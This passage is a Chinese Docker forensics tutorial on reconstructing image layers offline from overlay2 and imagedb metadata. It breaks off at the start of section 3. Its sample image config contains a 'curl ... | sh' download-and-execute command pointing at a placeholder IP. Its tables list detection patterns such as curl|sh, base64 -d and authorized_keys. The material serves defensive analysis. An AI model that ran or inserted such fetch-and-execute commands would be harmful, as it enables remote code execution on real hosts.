镜像层与 overlay2 解析

传统服务器取证里,"这个程序是怎么来的"通常没有答案。

最后更新 2026-10-09版本 v1.0维护 DigiForensics查看历史 0

关键词:overlay2、镜像层、diff_id、chain_id、imagedb、RootFS.Layers、离线镜像分析、存储驱动 难度:进阶 前置知识:Docker 基本概念、联合文件系统原理、JSON 与哈希校验、只读镜像挂载

一、概述

传统服务器取证里,"这个程序是怎么来的"通常没有答案。

你只能看到一个 ELF 可执行文件。它是发行版装的,还是源码编译的,还是从公网拉来的,文件本身不会告诉你。

容器镜像在这一点上不同:它是可读的结构化数据。

构建镜像的每一条指令——RUN、ENV、COPY、CMD——都逐字写在磁盘上。任何一台离线机器都能把这份"配方"完整还原出来。

这直接带来两个价值。

其一,恶意镜像可以被完全定性。

一个挖矿镜像的 Cmd 里白纸黑字写着矿池地址与钱包地址,一个后门镜像的 Env 里写着 C2 域名,一份被投毒的 COPY 能指出往镜像里塞了哪个文件。这些都不需要执行镜像,只需要读 JSON。

其二,镜像层本身就是文件证据。层内容是宿主 ext4 上的真实目录,被删掉的文件可以用常规文件系统手段挖出来。

那为什么本篇还需要写一整篇?

因为直接读磁盘有真实门槛。

/var/lib/docker/image/.../imagedb/ 里的文件名是不可逆的内容哈希,层目录名是随机的 cache-id,二者之间没有可见映射。

要把"镜像配置里的 RootFS.Layers 列表"和磁盘上的"overlay2/<id>/diff 目录"对应起来,必须理解 diff_id 与 chain_id 这套双哈希体系。

这是本篇唯一真正难的地方。所有"我读了 imagedb 但找不到对应目录"这类困惑,来源都在这里。

在取证流程中的位置:本篇属于分析环,输入是 Docker 取证工件地图 已固定的磁盘数据,输出是镜像与层的完整还原。

采集不归它管,判定入侵也不归它管。它回答的是一个更窄的问题:这个文件系统是怎么一层层叠起来的,每一层里有什么。

上游依赖存储驱动的确认(见 2.2),下游支撑三件事:恶意镜像定性(哪些层被投毒)、文件植入定位(哪个 COPY 指令带进来的)、被删文件的恢复(层里的 whiteout 语义)。

涉及的证据形态,具体到路径与字段:

形态 具体位置 结构特征
镜像配置 image/<driver>/imagedb/content/sha256/<hash> 一个文件一个镜像,文件名 = 配置哈希
仓库索引 image/<driver>/imagedb/toc/sha256/<hash> Repositories 清单,含 registry 与 tag
层内容 overlay2/<cache-id>/diff/ 真实目录,可直接遍历
层链 overlay2/<cache-id>/link 文本文件,低层在前、高层在后,是离线重建层链的关键
运行时视图 overlay2/<cache-id>/merged/ 容器停止后为空壳,不适合作证据来源
工作目录 overlay2/<cache-id>/workdir/ 正常为空,有残留说明有未完成操作
层元数据 层目录下的 v2/ 该层的 json,指向 diff_id
容器写层 overlay2/<container-id>/diff/ 与镜像层不同,是容器启动后新建的

两个概念必须先分清。

diff/ 有两种来源——镜像层(只读,来自构建)与容器写层(容器启动时新建,装的是容器内的改动)。

看到 diff/ 目录不等于看到镜像层。判断依据是它是否出现在某镜像配置的 RootFS.Layers 链里。

能回答什么:这个镜像由哪些指令构建、每条指令加了什么文件、镜像与某个磁盘目录的对应关系、某层里有哪些可疑文件、被删文件在层链里如何表现。

不能回答什么:镜像是什么时候构建的(层时间可被改)、镜像是否被人改过又改回(需与私库侧摘要比对)、容器运行时的行为(层是静态的,运行痕迹要看 containers/<id>/ 与日志)、docker history 的输出与磁盘数据是否一致(它是重建的,不是原始记录)。

存储驱动的版本差异是本篇的另一个门槛:Docker 17.06 之前默认 aufs 或 devicemapper,17.06 之后是 overlay2。前者的目录结构完全不同,后者的数据藏在块设备映射的稀疏文件里。

没有 overlay2 就没有"把层目录当普通目录遍历"这回事。

本篇给出三种驱动的处理思路,以实际检材中存在的目录为准,不要凭印象套用。

内容边界:所有命令面向已获得合法授权的目标主机或已制作的只读镜像,目标是发现与固定证据,不提供任何入侵手段。

导出与运行恶意镜像是两回事:本篇只做离线读取。docker save 的产物与原始层的差异见 2.6。

读者前提:需要 ext4 目录结构与 inode 的理解(见 ext4 结构与 inode)、JSON 与内容哈希的基本概念,以及 Docker 取证工件地图 给出的路径全景与时机判断。

如果还没确认存储驱动,建议先按本篇 3.1 第 1 步 走一遍。后面所有映射都建立在这个确认之上。

二、核心原理

2.1 overlay2 的四个目录

overlay2 把多个目录"叠"成一个视图。这四个目录是读层的前提:

        ┌──────────── 容器看到的 merged 视图 ─────────────┐
        │  /bin/sh 来自 lowerdir1   /app/config.yaml 来自 upperdir(★被改过)│
        └────────────────────────────────────────────────┘
              ↑ 挂载视图(merged/)
   ┌──────────┴──────────┐
   │  upperdir(写层)    │  ← 容器启动时创建,容器内每次写入都落这里
   │  /var/lib/docker/overlay2/<id>/diff/
   └──────────┬──────────┘
              ↑ 同文件时 upperdir 覆盖 lowerdir
   ┌──────────┴──────────┬──────────┬──────────┐
   │ lowerdir(只读层)   │ lowerdir │ lowerdir │  ← 来自镜像,自底向上叠加
   └─────────────────────┴──────────┴──────────┘
              ↑ 复制不完整时先复制到 workdir,再改名为 whiteout
目录 作用 取证意义
diff/ 写层。容器启动时创建,容器内所有改动落在这里 ★★★★★ 容器内文件的实际存放处;容器停止后仍可读,容器删除即消失
merged/ 挂载视图,容器"看到"的那个根 ★★ 容器停止后该目录变为空壳,不适合作为证据来源
workdir/ 内核做原子改名的工作目录 ★ 正常为空;有残留说明有未完成操作
link 文本文件,记录本层的 lowerdir 链 ★★★ 离线重建层链的关键
(镜像层还有)v2/ 该层的 repositories 与 json 元数据 ★★★ 指向 diff_id
# link 文件长这样(低层在前,高层在后)
cat /var/lib/docker/overlay2/<cache-id>/link
# lxcfs
# overlay /var/lib/docker/overlay2/<id1>/diff
# overlay /var/lib/docker/overlay2/<id2>/diff
# overlay /var/lib/docker/overlay2/<id3>/diff

⚠️ link 的顺序是从低层到高层,overlay2 挂载时 lowerdir= 的优先级是左低右高(右覆盖左)。读错顺序会导致层内容还原错误。

2.2 目录结构全景(含版本差异)

data-root(默认 /var/lib/docker)下的关键路径:

路径 内容 取证价值
image/overlay2/imagedb/content/sha256/<hash> 镜像配置 JSON(一个文件一个镜像,文件名 = 配置哈希) ★★★★★
image/overlay2/imagedb/toc/sha256/<hash> 仓库层索引(Repositories 清单) ★★★
overlay2/<cache-id>/diff/ 层内容目录 ★★★★★
overlay2/<cache-id>/link lowerdir 链 ★★★
overlay2/<cache-id>/v2/、repositories 该层的镜像引用与 diff_id 记录 ★★★
overlay2/<cache-id>/merged/、work/ 挂载视图 / 工作目录 ★
overlay2/l/ 符号链接(l/<短ID> → overlay2/<cache-id>) ★★ cache-id 的来源

版本差异务必按检材实际情况选路径。下面这张表是查手册时的起点,不是让你凭版本号猜:

存储驱动 大致版本 关键路径 差异
aufs Docker ≤ 17.05(已停止维护) /var/lib/docker/aufs/mnt/<hash>/diff/、/var/lib/docker/aufs/diff/<hash>/ 目录名是 mnt 前缀的挂载式结构,元数据在 aufs/mnt/ 下
devicemapper Docker ≤ 17.05 常见 /var/lib/docker/devicemapper/mnt/<dev>/ 数据在块设备映射出的稀疏文件里,不能当目录遍历;层元数据在 <dev>/ 旁的 json
overlay2 Docker 17.06 之后默认 上表所述 层内容是普通目录,可直接遍历
btrfs / zfs 特殊后端 子卷形态 需 btrfs subvolume list / zfs list 导出

如何判断:docker info 的 Storage Driver;离线看 daemon.json;再退一步——ls /var/lib/docker/ 里有什么目录就说明当时用的是哪个。迁移期可能同时存在两种驱动目录,两个都要查。

2.3 imagedb JSON 的关键字段

imagedb/content/sha256/<hash> 里是一个 JSON 对象,这是"镜像配方"的完整记录。

注意文件名。它是该 JSON 内容的哈希(sha256),不是镜像 ID。这条在 4.2 会被反复用到。

{
  "created": "2024-02-20T08:14:22.617Z",
  "architecture": "amd64",
  "os": "linux",
  "Config": {
    "Hostname": "", "User": "nginx",
    "Env": ["PATH=/usr/local/sbin:/usr/local/bin:...", "DB_PASSWORD=Str0ngPass!2024"],
    "Cmd": ["nginx", "-g", "daemon off;"],
    "Entrypoint": ["/docker-entrypoint.sh"],
    "WorkingDir": "/app",
    "ExposedPorts": {"80/tcp": {}, "443/tcp": {}},
    "Volumes": {"/app/logs": {}},
    "Labels": {"maintainer": "ops@digiforensics.example", "build.args.ver": "1.4.2"}
  },
  "RootFS": { "Type": "layers", "Layers": ["sha256:a1b2...", "sha256:c3d4...", "sha256:e5f6..."] },
  "history": [
    {"created": "2024-02-20T08:14:22Z", "created_by": "/bin/sh -c #(nop) ADD file:... in / "},
    {"created": "2024-02-20T08:14:30Z", "created_by": "/bin/sh -c curl -s http://198.51.100.24/x.sh | sh", "empty_layer": true}
  ]
}
字段 含义 异常判据
Config.Env 运行时环境变量 含明文口令、令牌、私库地址;PATH 被插到最前的自定义路径
Config.Cmd / Config.Entrypoint 启动命令 写死矿池地址、C2 域名、curl | sh 下载执行链
Config.Labels 镜像元标签 官方镜像不该出现的自定义标签;build.args.* 泄露构建参数
Config.Volumes 镜像声明的卷 与运行时实际挂载对比,可发现多挂的目录(见第 03 篇)
Config.ExposedPorts 声明暴露端口 与 Config.Cmd 不符(如暴露 80 但实际起的是 minio 管理口)
Config.WorkingDir 工作目录 指向 /tmp、/dev/shm 等可写临时目录
Config.User 容器内默认用户 root + 挂载敏感目录 = 风险叠加
Config.Healthcheck 健康检查命令 指向外部地址的探活 = 隐蔽外连通道
created / architecture / os 构建时间与平台 created 明显晚于依赖版本的发布时间 = 可疑
RootFS.Layers diff_id 链,从基础层到顶层 数量与 history 中 empty_layer 为假的条目数应一致
history[].created_by 每层构建命令原文 ** curl | sh、wget、base64 -d、往 /usr/bin 拷可执行文件**

⚠️ history[].empty_layer 为 true 表示这层没产生文件系统改动(如 ENV、LABEL、CMD),它不出现在 RootFS.Layers 里。所以 history 条目数大于 RootFS.Layers 是正常的,不要据此认为少了层。

2.4 diff_id 与 chain_id:本文最关键的概念

这是 overlay2 体系里最容易搞混的一对哈希。两个都是 sha256,用途却完全不同:

概念 计算对象 是否含父层信息 用途
diff_id 单个层(该层 tar 归档的摘要) ❌ 不含 RootFS.Layers 里存的就是它;层内容去重的依据
chain_id 层 + 它的全部父层(累积) ✅ 含 manifest 存储层索引里存的是它;反映"从哪条链累积而来"

关键推论有两个。

第一个:两个镜像只要有一个基础层相同,其后每一层的 diff_id 就可能相同(因为 diff_id 只看自己那层的内容),但它们的 chain_id 一定不同(累积链不同)。

第二个:diff_id 相同就能确定是同一层内容,这是"识别共用基础层"的依据。

离线状态下怎么区分它们:

  • RootFS.Layers 数组 → diff_id(它出现在镜像配置 JSON 里)
  • manifest.json(docker save 产生)里的 rootfs.diff_ids → diff_id;同文件的 layers[].digest → chain_id(格式为 sha256:<chain_id>)
  • overlay2/<id>/v2/repositories 文本文件里 → 可能同时出现 layer id(chain_id 形式)与历史 layer id(diff_id 形式)
# 离线判定一个 64 位十六进制串到底是哪种:去 diff 目录里找
# diff_id 通常能对上 overlay2/<cache-id>/v2/<diff_id 前缀>/ 之类的目录
grep -rl '<hash>' /mnt/df/var/lib/docker/overlay2/*/v2/repositories 2>/dev/null | head

取证价值:diff_id 链能告诉你这个镜像是从哪个基础镜像衍生的。若一个可疑镜像的 RootFS.Layers 前 3 层与 registry.local/digiforensics/web 完全相同,说明它共享了业务基础镜像——攻击者不是从零构建的,而是拿业务镜像加了层自己的东西。这本身就是"内部来源"的有力证据。

2.5 docker history 的离线等价

在线的 docker history 读的正是 imagedb JSON 的 history 数组。离线等价实现见 3.3 的脚本(逐条打印并标注 empty_layer)。

真正值得停下来看的是这三类 created_by:

模式 含义
curl/wget + 管道到 shell 下载执行链
chmod +x / mv 到 /usr/bin、/usr/local/bin 安装持久二进制
adduser、usermod、authorized_keys、crontab 建立账号或持久化(对应第 06 篇的运行态持久)

2.6 导出与镜像保存:丢的东西不一样

这是两个用途完全不同、混淆会导致关键元数据永久丢失的操作。

真出过事。现场只留下一个 export 出来的 tar,启动命令和环境变量就再也回不去了。

特性 docker export docker save
对象 容器(某次运行的合并视图) 镜像(可复现的层 + 配置)
输出 一个扁平 tar 多层 tar + manifest.json + 各层 json
镜像元数据(Config/Labels/Env/history) ❌ 全部丢失 ✅ 完整保留
卷内数据 ❌ 不包含(只导容器视图) ❌ 不包含
层边界 ❌ 拍平,无层信息 ✅ 保留,可算 diff_id
典型用途 拿到某个容器当时的文件现场 归档/迁移一个镜像
docker save -o /evidence/DigiForensics-app.tar registry.local/digiforensics/web:latest
docker export -o /evidence/container-view.tar digiforensics-app     # 只有文件,没有配方
tar -tvf /evidence/DigiForensics-app.tar | head                    # 应看到 manifest.json + 多个 layer/
tar -tf  /evidence/container-view.tar | head                      # 单一层扁平结构

⚠️ docker export 得到的 tar 里没有 Config,因此事后无法回答"这个容器当初用什么命令起的""注入了什么环境变量"。如果已经 export 而没有 save,配方只能从 config.v2.json(若还在)补。取证时两个都要做,且先做 save。


三、操作步骤

3.1 第 1